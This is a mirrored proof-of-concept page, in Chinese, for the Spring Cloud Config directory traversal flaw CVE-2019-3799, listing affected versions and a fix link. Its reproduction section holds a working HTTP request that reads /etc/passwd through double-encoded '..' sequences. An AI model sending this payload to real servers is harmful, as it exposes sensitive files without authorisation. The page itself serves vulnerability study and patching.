mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-05 02:37:58 +00:00
32 lines
1.0 KiB
Markdown
32 lines
1.0 KiB
Markdown
|
# Spring Cloud Config 目录遍历漏洞 CVE-2019-3799
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
由于 spring-cloud-config-server 模块未对传入路径进行安全限制，攻击者可以利用多个 `..%252f` 进行目录遍历，查看服务器其他路径的敏感文件，造成敏感信息泄露。
|
|||
|
|
|
|||
|
|
## 漏洞影响
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
Spring Cloud Config 2.1.0 to 2.1.1
|
|||
|
|
Spring Cloud Config 2.0.0 to 2.0.3
|
|||
|
|
Spring Cloud Config 1.4.0 to 1.4.5
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
GET /foo/default/master/..%252F..%252F..%252F..%252Fetc%252fpasswd HTTP/1.1
|
|||
|
|
Host: your-ip:8888
|
|||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
|
|||
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|||
|
|
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
|||
|
|
Accept-Encoding: gzip, deflate
|
|||
|
|
DNT: 1
|
|||
|
|
Connection: close
|
|||
|
|
Upgrade-Insecure-Requests: 1
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
## 漏洞修复
|
|||
|
|
|
|||
|
|
Spring 官方最新版本已经对 Spring Cloud Config 目录遍历漏洞进行了修复，下载地址：https://github.com/spring-cloud/spring-cloud-config/releases
|